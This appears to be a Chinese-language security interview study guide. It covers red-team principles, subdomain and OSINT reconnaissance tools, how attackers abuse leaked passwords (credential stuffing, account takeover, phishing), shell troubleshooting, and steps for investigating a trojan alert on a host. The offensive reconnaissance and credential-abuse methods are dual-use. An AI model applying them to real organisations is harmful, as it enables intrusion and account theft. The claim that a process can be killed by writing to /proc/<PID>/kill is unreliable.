- 目标导向 (Objective-Driven): 不只是找漏洞,而是要达成特定目标(如获取域控权限、窃取指定数据、模拟特定 APT 组织的攻击链)。
- 隐蔽优先 (Stealth Focus): 强调规避检测,模仿真实攻击者的 TTPs,使用低调的技术,避免触发告警。这涉及 OPSEC(操作安全)。
- 全链条模拟 (Full Kill Chain Simulation): 覆盖从信息收集、初始访问、持久化、提权、内网侦察、横向移动到达成目标的完整攻击路径。
- 对抗性 (Adversarial): 主动尝试绕过安全设备(EDR, NTA, WAF, SIEM 规则),测试蓝队的响应速度和有效性。
- 持续性 (Persistence): 建立多个隐蔽的后门和 C2 通道,确保在某个点被发现后仍能维持访问。
- 以防御评估为核心: 最终目的是帮助组织识别监控盲点、响应弱点,并改进整体安全态势。
域名收集思路 (Domain Reconnaissance):
目标是尽可能全面地发现目标组织拥有的以及相关的域名/子域名。
- 起始点: 获取目标主域名(如
example.com
)。 子域名挖掘:
- 搜索引擎: Google (
site:*.example.com
), Bing 等。 - 在线工具/平台: VirusTotal, DNSDumpster, SecurityTrails, RiskIQ, ThreatBook 等提供的被动 DNS 数据。
- 证书透明度日志 (Certificate Transparency Logs):
crt.sh
, Censys 等,搜索%.example.com
的证书记录。 - 暴力枚举/字典: 使用工具
subfinder
,assetfinder
,amass
,ksubdomain
,massdns
等配合字典(如 SecLists)进行爆破。 - ASN 信息反查: 找到目标的 ASN 号 -> 确定 IP 段 -> 对 IP 段进行反向 DNS 查询。
- 源码/JS 文件分析: 分析目标网站的 JavaScript 文件,可能硬编码了 API 端点或其他子域名。
- 第三方关系: 分析合作伙伴、子公司、收购的公司等,可能有关联域名。
- Zone Transfer (AXFR): 尝试对权威 DNS 服务器进行域传送(成功率低)。
- 搜索引擎: Google (
互联网收集思路 (Broader Internet Recon / OSINT):
目标是构建目标组织的整体互联网暴露面,包括 IP、云资源、代码、人员信息等。
IP 地址发现:
- 通过域名解析获得 IP。
- ASN 查询获得 IP 段。
- Shodan, Censys, ZoomEye, Fofa 等网络空间搜索引擎搜索公司名、域名、ASN、特定端口/服务。
云资产发现:
- 搜索公共存储桶/容器 (S3, Azure Blob, GCS),使用
cloud_enum
等工具。 - 识别云服务提供商(从 IP 段、DNS 记录判断)。
- 查找云服务登录入口。
- 搜索公共存储桶/容器 (S3, Azure Blob, GCS),使用
代码与凭证泄露:
- GitHub, GitLab, Gitee 等代码托管平台搜索公司名、项目名、员工 ID。
- 使用
truffleHog
,gitleaks
,GitGuardian
等工具扫描泄露的 API Key、密码、配置文件。
人员与组织信息:
- LinkedIn: 员工职位、使用的技术、组织架构。
- 社交媒体、公司官网、新闻稿。
- 数据泄露库 (HaveIBeenPwned, Dehashed): 查询员工邮箱/用户名是否在已知泄露事件中。
技术栈识别:
- Wappalyzer (浏览器插件)。
- 分析 HTTP 头、网页源码、错误信息。
- 职位招聘信息。
- 历史信息: Wayback Machine 查看网站历史快照。
平台账号密码泄露的攻击面:
当一个平台的账号密码(用户名/邮箱 + 密码)发生泄露后,攻击者主要利用这些信息进行以下攻击:
凭证填充 (Credential Stuffing):
最主要、最直接的攻击。
- 攻击者使用泄露的用户名/密码对,去尝试登录其他的网站和平台。因为很多用户会在多个平台使用相同或相似的密码。
目标平台可能包括:
- 企业内部系统: 邮箱 (O365/Exchange)、VPN、内网 OA、代码库 (GitLab)、堡垒机、RDP/SSH。
- 重要 SaaS/云服务: AWS/Azure/GCP 控制台、Salesforce、Slack、财务系统、HR 系统。
- 个人关联账户: 如果泄露的是个人常用密码,可能危及与工作相关的个人云存储、社交媒体等。
账户接管 (Account Takeover - ATO):
一旦凭证填充成功,攻击者就接管了账户。后续攻击包括:
- 数据窃取: 访问并下载邮件、文件、客户数据、源代码等。
- 内部钓鱼/诈骗: 利用被盗账户向同事或客户发送钓鱼邮件或诈骗信息。
- 权限提升/横向移动: 利用被盗账户的权限访问更多内部资源。
- 部署恶意软件/勒索软件。
- 建立持久化: 如设置邮件转发规则、添加备用登录方式。
密码模式分析与猜测:
- 如果同一用户的多个密码泄露,攻击者可能分析出用户的密码习惯(如
公司名+年份+!
,名字+生日
),从而猜测其他未泄露账户的密码。
- 如果同一用户的多个密码泄露,攻击者可能分析出用户的密码习惯(如
安全问题利用:
- 泄露的数据可能包含用户的安全问题和答案,攻击者可能利用这些信息尝试通过“忘记密码”功能重置其他账户的密码。
社会工程学:
- 利用泄露的个人信息(结合其他 OSINT 数据)对用户进行更精准的钓鱼或 Vishing(语音诈骗)。
21. shell 没有默认 k 会怎么做?
这个问题有点模糊,“没有默认 k”可能指代不同的情况。这里提供几种可能的解释和应对方法:
解释一:某个常用的快捷键(如涉及 'k' 字母)不工作?
排查思路:
- 检查终端模拟器设置: 不同的终端(如 GNOME Terminal, Konsole, iTerm2, PuTTY, SecureCRT)有自己的快捷键绑定,可能与 Shell 冲突或未配置。查看终端的键盘/快捷键设置。
- 检查 Shell 配置: 查看 Shell 的配置文件(如
~/.bashrc
,~/.zshrc
,~/.inputrc
)。使用bind -p
(Bash) 或bindkey
(Zsh) 查看当前的按键绑定。可能是配置错误或被覆盖。 - 检查
stty
设置:stty -a
查看终端行设置。错误的设置可能导致某些控制字符失效。可以尝试stty sane
恢复默认设置。 - 远程连接问题 (SSH): 检查 SSH 客户端和服务器端的终端类型设置 (
TERM
环境变量) 是否匹配。 - 尝试其他终端: 换一个终端模拟器试试,判断是 Shell 问题还是终端问题。
解释二:
kill
命令不可用或找不到?(k -> kill)
排查思路:
- 检查
PATH
环境变量:echo $PATH
,确认包含kill
命令的目录(通常是/bin
或/usr/bin
)在 PATH 中。 - 使用绝对路径: 尝试
/bin/kill <PID>
或/usr/bin/kill <PID>
。 - 查找替代命令:
pkill <process_name>
,killall <process_name>
。 - 使用
/proc
文件系统 (Linux): 如果有权限,可以echo <signal_number> > /proc/<PID>/kill
(例如echo 9 > /proc/1234/kill
发送 SIGKILL)。 - 使用调试器:
gdb -p <PID>
,然后kill
或quit
。 - 检查 BusyBox: 如果系统使用 BusyBox,它通常内置了
kill
applet。 - 终极手段: 如果以上都不行且必须终止进程,只能考虑重启 (
reboot
)。
- 检查
解释三:Shell 无法保持连接(Keep-alive 问题)?
(k -> keep-alive)
应对方法:
- 使用终端复用器: 强烈推荐! 在远程服务器上启动
tmux
或screen
,然后在复用器的会话中工作。即使 SSH 连接断开,工作会话也会在服务器上保持运行。重新连接 SSH 后,使用tmux attach
或screen -r
即可恢复会话。 配置 SSH Keep-alive:
- 客户端: 编辑
~/.ssh/config
,添加ServerAliveInterval 60
(每 60 秒向服务器发送一个保持连接的包)。 - 服务器端: 编辑
/etc/ssh/sshd_config
,设置ClientAliveInterval 60
和ClientAliveCountMax 3
(服务器每 60 秒检查一次客户端,如果 3 次没响应则断开)。
- 客户端: 编辑
- 使用终端复用器: 强烈推荐! 在远程服务器上启动
解释四:完全不理解“k”指什么?
- 应对方法: 在面试中,如果遇到不确定的术语或问题,礼貌地请求澄清是完全可以接受的。“不好意思,请问您提到的‘没有默认 k’具体是指哪个功能或按键呢?”
22. 安全设备告警显示木马,如何上机排查?
这与 Q17(白加黑)、Q13(无文件 Shell)和之前的应急响应问题有共通之处,但更侧重于“已确认是木马”的告警。
上机排查步骤(假设已收到告警,并准备登录受感染主机):
告警信息确认与准备:
明确告警细节:
- 哪个安全设备(EDR、AV、NTA)?
- 检测到的木马名称/家族是什么(如 Emotet, TrickBot, Cobalt Strike, Gh0st RAT)?这能帮助预判其行为特征和目标。
- 告警涉及的文件路径、进程名、网络连接(IP/端口)是什么?
- 安全设备采取了什么动作(仅告警、阻止、隔离文件、隔离主机)?
- 告警时间戳?
- 准备工具: 确保有 Process Explorer/Process Hacker, Autoruns, Sysmon (如果已安装), Wireshark (可选), Volatility (可选), 以及干净的 U 盘等。
隔离主机:
- 必须先隔离! 物理断网或逻辑隔离(EDR/NAC/交换机端口),防止木马进一步通信(C2连接、数据外传)或横向传播。
主机存活分析(关键):
查找恶意进程:
- 根据告警信息中提到的进程名或关联进程进行查找 (
tasklist
,ps aux
, Process Explorer)。 - 即使告警中的文件被隔离,木马进程可能仍在内存中运行,或者有其他守护进程。
- 重点关注:名称可疑、路径异常、无签名/无效签名、CPU/内存占用异常、父进程可疑的进程。
- 根据告警信息中提到的进程名或关联进程进行查找 (
检查网络连接:
netstat -ano
(Win),ss -antup
(Linux)。- 查找与告警信息相关的连接,或连接到已知 C2 地址(可从木马家族信息或威胁情报获取)的连接。
- 查找异常的监听端口(可能是后门)。
分析进程详细信息:
- 使用 Process Explorer 查看可疑进程的启动命令行、加载的模块 (DLLs/SOs - 检查有无 Sideloading)、内存字符串、句柄、线程等。
内存取证(如果需要深入分析或无文件迹象):
- Dump 可疑进程内存或全物理内存。
- 使用 Volatility 等工具分析,寻找注入代码 (
malfind
)、网络连接 (netscan
)、命令历史 (cmdscan
) 等木马活动痕迹。
持久化机制排查:
- 必须检查! 木马通常会设置持久化以在重启后存活。
- Windows: 使用 Autoruns 检查所有可能的自启动位置(注册表 Run 键、计划任务、服务、驱动、启动项、WMI 等)。
- Linux: 检查
cron
、systemd
服务、init.d
脚本、.bashrc
/.profile
、LD_PRELOAD
等。
文件系统排查:
- 定位木马文件(如果未被完全隔离): 找到告警中提到的文件路径。
- 查找关联文件: 木马可能释放配置文件、日志文件、临时文件、下载的二阶段载荷等。检查
%TEMP%
,%APPDATA%
,/tmp
,/var/tmp
等目录。 - 时间线分析: 查找在告警时间点前后创建或修改的文件 (
find / -mtime -1
, Windows 资源管理器按时间排序)。 - 获取样本: 如果安全,获取木马样本文件(或隔离区的文件)的 Hash,提交到 VirusTotal 等平台获取详细分析报告和 IOCs。
日志审计:
- Windows: 事件日志(Security 4688+命令行,Application,System),PowerShell 日志,Sysmon 日志。
- Linux:
syslog
,auth.log
,auditd
日志。 - AV/EDR 日志: 查看更详细的检测历史和上下文。
确定入侵途径和影响范围:
- 入口点分析: 木马是如何进入系统的(钓鱼、漏洞、下载、U盘)?
- 横向移动检查: 是否有迹象表明木马尝试连接或感染内网其他主机?(检查登录日志、网络流量日志)。
- 数据泄露检查: 是否有大量可疑出站流量?
清除与恢复:
- 确认清除: 确保安全设备已有效清除或隔离了文件和相关项。
- 手动清除: 终止恶意进程,删除残留文件,移除持久化项。
- 系统重建: 对于木马感染,特别是后门类、RAT 类木马,强烈建议备份数据后进行系统重装,以确保彻底清除。
- 密码重置: 修改该主机上的所有用户密码,以及可能被泄露的其他凭据。
- 漏洞修复: 如果是通过漏洞入侵,务必修复。
- 事后总结: 记录过程,分析原因,改进防护策略(加强端点防护规则、网络访问控制、用户培训等)。
评论 (0)